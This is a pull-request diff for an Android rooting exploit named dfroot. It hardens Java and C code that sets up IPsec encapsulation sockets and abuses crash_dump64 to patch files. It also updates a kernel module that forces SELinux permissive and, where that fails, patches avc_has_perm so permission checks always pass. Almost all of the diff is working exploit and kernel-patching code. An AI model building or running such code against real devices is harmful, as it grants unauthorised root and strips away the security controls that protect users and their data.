Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 23 additions & 19 deletions app/src/main/java/df/root/ExploitRunner.java
Original file line number Diff line number Diff line change
Expand Up @@ -78,27 +78,31 @@ public static synchronized int run(Context ctx, IReporter reporter) throws Excep
if (ipsec == null) throw new IllegalStateException("IpSecManager unavailable (requires API 28+)");

IpSecManager.UdpEncapsulationSocket encapSock = ipsec.openUdpEncapsulationSocket();
InetAddress loopback = InetAddress.getByName("127.0.0.1");
IpSecManager.SecurityParameterIndex spiObj = ipsec.allocateSecurityParameterIndex(loopback);

byte[] aesKey = new byte[32];
new SecureRandom().nextBytes(aesKey);

DatagramSocket senderSock = new DatagramSocket();
int senderPort = senderSock.getLocalPort();
senderSock.close();

IpSecTransform transform = new IpSecTransform.Builder(ctx)
.setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, aesKey))
.setIpv4Encapsulation(encapSock, senderPort)
.buildTransportModeTransform(loopback, spiObj);

try {
return runBinary(bin, reporter, encapSock.getPort(), spiObj.getSpi(),
aesKey, senderPort);
InetAddress loopback = InetAddress.getByName("127.0.0.1");
IpSecManager.SecurityParameterIndex spiObj = ipsec.allocateSecurityParameterIndex(loopback);
try {
byte[] aesKey = new byte[32];
new SecureRandom().nextBytes(aesKey);

DatagramSocket senderSock = new DatagramSocket();
int senderPort = senderSock.getLocalPort();
senderSock.close();

IpSecTransform transform = new IpSecTransform.Builder(ctx)
.setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, aesKey))
.setIpv4Encapsulation(encapSock, senderPort)
.buildTransportModeTransform(loopback, spiObj);
try {
return runBinary(bin, reporter, encapSock.getPort(), spiObj.getSpi(),
aesKey, senderPort);
} finally {
transform.close();
}
} finally {
spiObj.close();
}
} finally {
transform.close();
spiObj.close();
encapSock.close();
}
}
Expand Down
11 changes: 7 additions & 4 deletions app/src/main/jni/elf_parser.c
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
#include <string.h>
#include <errno.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/elf.h>
Expand Down Expand Up @@ -128,11 +129,12 @@ int find_hook_target(const char *libcxx, const char *symname,
close(fd); return 1;
}
char name[100];
if (read(fd, name, sizeof(name) - 1) < 0) {
ssize_t n = read(fd, name, sizeof(name) - 1);
if (n < 0) {
printf("read sh_name[%d] failed: %s\n", i, strerror(errno));
close(fd); return 1;
}
name[sizeof(name) - 1] = 0;
name[n] = 0;
if (strcmp(name, ".dynstr") == 0) dynstr = shdr.sh_offset;
if (strcmp(name, ".dynsym") == 0) { dynsym_offset = shdr.sh_offset; dynsym_size = shdr.sh_size; }
}
Expand All @@ -157,11 +159,12 @@ int find_hook_target(const char *libcxx, const char *symname,
close(fd); return 1;
}
char name[200];
if (read(fd, name, sizeof(name) - 1) < 0) {
ssize_t n = read(fd, name, sizeof(name) - 1);
if (n < 0) {
printf("read st_name[%d] failed: %s\n", i, strerror(errno));
close(fd); return 1;
}
name[sizeof(name) - 1] = 0;
name[n] = 0;
if (strcmp(name, symname) == 0) {
*hook_target = sym.st_value - executable_vaddr + executable_off;
break;
Expand Down
38 changes: 27 additions & 11 deletions app/src/main/jni/exp.c
Original file line number Diff line number Diff line change
Expand Up @@ -17,8 +17,6 @@
#include <arpa/inet.h>
#include "aes256.h"

#define eos(s) (s + strlen(s))

static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64";
static char *libcxx_ko_target;

Expand Down Expand Up @@ -70,8 +68,11 @@ static int spawn_crash_dump(off_t offset, int write_fd, int target_fd, const cha
execl(kCrashDump, "crashdump64", offstr, libcxx_ko_target, NULL);
_exit(1);
}
int st = 0;
TEMP_FAILURE_RETRY(waitpid(pid, &st, 0));
int st = -1;
if (TEMP_FAILURE_RETRY(waitpid(pid, &st, 0)) < 0) {
printf("waitpid failed: %s\n", strerror(errno));
return -1;
}
return st;
}

Expand Down Expand Up @@ -170,8 +171,13 @@ static int patch_file_cbc(const char *path, const char *payload, size_t len,
.sin_port = htons((uint16_t)g_sender_port),
.sin_addr = {.s_addr = htonl(INADDR_LOOPBACK)},
};
if (bind(sk_send, (struct sockaddr *)&src, sizeof(src)) < 0)
printf("bind port %d failed: %s\n", g_sender_port, strerror(errno));
if (bind(sk_send, (struct sockaddr *)&src, sizeof(src)) < 0) {
/* the xfrm state matches on this source port; without it every
* encapsulated write is dropped and patching fails misleadingly */
printf("bind sender port %d failed: %s\n", g_sender_port, strerror(errno));
close(sk_send);
return -1;
}
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons((uint16_t)g_encap_port),
Expand Down Expand Up @@ -308,16 +314,22 @@ static int read_device_versions(int *andr, int *major, int *minor) {
if (!m) {
printf("uname -r is missing Android version, trying getprop\n");

char vendor_ver[5];
char release[15];
char vendor_ver[8] = "";
char release[24];

FILE *f = popen("getprop ro.vendor.build.version.release", "r");
fgets(vendor_ver, sizeof(vendor_ver), f);
if (!f) return -1;
char *line = fgets(vendor_ver, sizeof(vendor_ver), f);
pclose(f);
if (!line) return -1;

sprintf(release, "android");
sprintf(eos(release), "%s", vendor_ver);
/* strip trailing newline/whitespace getprop may emit */
size_t len = strlen(vendor_ver);
while (len > 0 && (vendor_ver[len - 1] == '\n' || vendor_ver[len - 1] == '\r'))
vendor_ver[--len] = '\0';
if (len == 0) return -1;

snprintf(release, sizeof(release), "android%s", vendor_ver);
m = release;
}
*andr = atoi(m + 7);
Expand Down Expand Up @@ -518,6 +530,10 @@ static int setup(int argc, char **argv) {
if (!encap_port || !sender_port || !spi || !have_aes) {
usage(argv[0]); return 2;
}
if (encap_port < 1 || encap_port > 65535 || sender_port < 1 || sender_port > 65535) {
fprintf(stderr, "invalid port number\n");
return 2;
}

g_encap_port = encap_port;
g_sender_port = sender_port;
Expand Down
4 changes: 2 additions & 2 deletions app/src/main/jni/include.inc
Original file line number Diff line number Diff line change
Expand Up @@ -197,12 +197,12 @@

// simulate a push operation
.macro push Rn:req
str \Rn, [sp, -16]
str \Rn, [sp, #-16]!
.endm

// simulate a pop operation
.macro pop R:req
ldr \Rn, [sp], 16
ldr \R, [sp], #16
.endm

// Save x0 to filename for debugging.
Expand Down
2 changes: 2 additions & 0 deletions lkm/Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -8,13 +8,15 @@ all:
ARCH=arm64 \
LLVM=1 \
modules
ifdef OBJCOPY
$(OBJCOPY) --strip-unneeded \
-R .comment -R .note.gnu.property \
-R .note.Linux -R .note.GNU-stack \
-R .BTF -R .BTF.base -R .llvm_addrsig \
-R .hyp.text -R .hyp.bss -R .hyp.rodata -R .hyp.event_ids \
-R .hyp.patchable_function_entries -R .hyp.data \
dfroot.ko
endif

clean:
$(MAKE) -C $(KDIR) M=$(CURDIR) \
Expand Down
62 changes: 58 additions & 4 deletions lkm/dfroot.c
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
#include <linux/err.h>
#include <linux/fs.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kmod.h>
Expand All @@ -16,9 +18,58 @@ typedef int (*kern_path_t)(const char *, unsigned int, struct path *);
typedef int (*invalidate_t)(struct address_space *);
typedef void (*path_put_t)(const struct path *);
typedef int (*insn_patch_t)(void *addrs[], u32 insns[], int cnt);
typedef struct file *(*filp_open_t)(const char *, int, umode_t);
typedef ssize_t (*kernel_read_t)(struct file *, void *, size_t, loff_t *);
typedef int (*filp_close_t)(struct file *, fl_owner_t);

static insn_patch_t insn_patch_text;

/* Returns true only when /sys/fs/selinux/enforce reads back "0".
*
* The first member of struct selinux_state is "enforcing" only when
* CONFIG_SECURITY_SELINUX_DEVELOP=y; otherwise the selinux_state write in
* dfroot_init() lands on an unrelated bool (checkreqprot/disabled) and changes
* nothing. The selinuxfs node reports the real state (and is hardwired to 1
* when the enforcing field does not exist), so it is the only reliable way to
* tell the two cases apart. On any read failure assume enforcing so the avc
* fallback still runs.
*/
static __nocfi bool selinux_is_permissive(kallsyms_lookup_name_t get_addr)
{
filp_open_t filp_open_fn;
kernel_read_t kernel_read_fn;
filp_close_t filp_close_fn;
struct file *filp;
char buf[4];
loff_t pos = 0;
ssize_t n;

filp_open_fn = (filp_open_t)get_addr("filp_open");
kernel_read_fn = (kernel_read_t)get_addr("kernel_read");
filp_close_fn = (filp_close_t)get_addr("filp_close");
if (!filp_open_fn || !kernel_read_fn || !filp_close_fn) {
pr_err("dfroot: file io symbols missing, assuming enforcing\n");
return false;
}

filp = filp_open_fn("/sys/fs/selinux/enforce", 0 /* O_RDONLY */, 0);
if (IS_ERR(filp)) {
pr_err("dfroot: open selinux enforce failed (%ld), assuming enforcing\n",
PTR_ERR(filp));
return false;
}

n = kernel_read_fn(filp, buf, sizeof(buf) - 1, &pos);
filp_close_fn(filp, NULL);
if (n <= 0) {
pr_err("dfroot: read selinux enforce returned %ld, assuming enforcing\n", n);
return false;
}
buf[n] = '\0';
pr_info("dfroot: selinux enforce=%c\n", buf[0]);
return buf[0] == '0';
}

static __nocfi void patch_fn_ret_zero(void *fn)
{
void *addrs[3];
Expand Down Expand Up @@ -103,10 +154,13 @@ static int __nocfi __init dfroot_init(void)
WRITE_ONCE(*selinux_state, false);
pr_info("dfroot: selinux_state permissive\n");

// Some kernels ship CONFIG_SECURITY_SELINUX_DEVELOP=n, so the selinux_state
// write above is a no-op there — patch the SELinux checks themselves instead
// (both: most denials surface through the noaudit path first).
if (READ_ONCE(*selinux_state)) {
/* Kernels with CONFIG_SECURITY_SELINUX_DEVELOP=n keep the write above as
* a no-op (and permissive can't be reached at all), so fall back to
* patching the SELinux checks themselves (both: most denials surface
* through the noaudit path first). Only skip them when permissive has
* actually been confirmed, so enforcing is not left silently bypassed
* once a SU manager restores enforce=1. */
if (READ_ONCE(*selinux_state) || !selinux_is_permissive(get_addr)) {
avc_fn = (void *)get_addr("avc_has_perm");
if (!avc_fn)
pr_err("dfroot: avc_has_perm not found, skipping\n");
Expand Down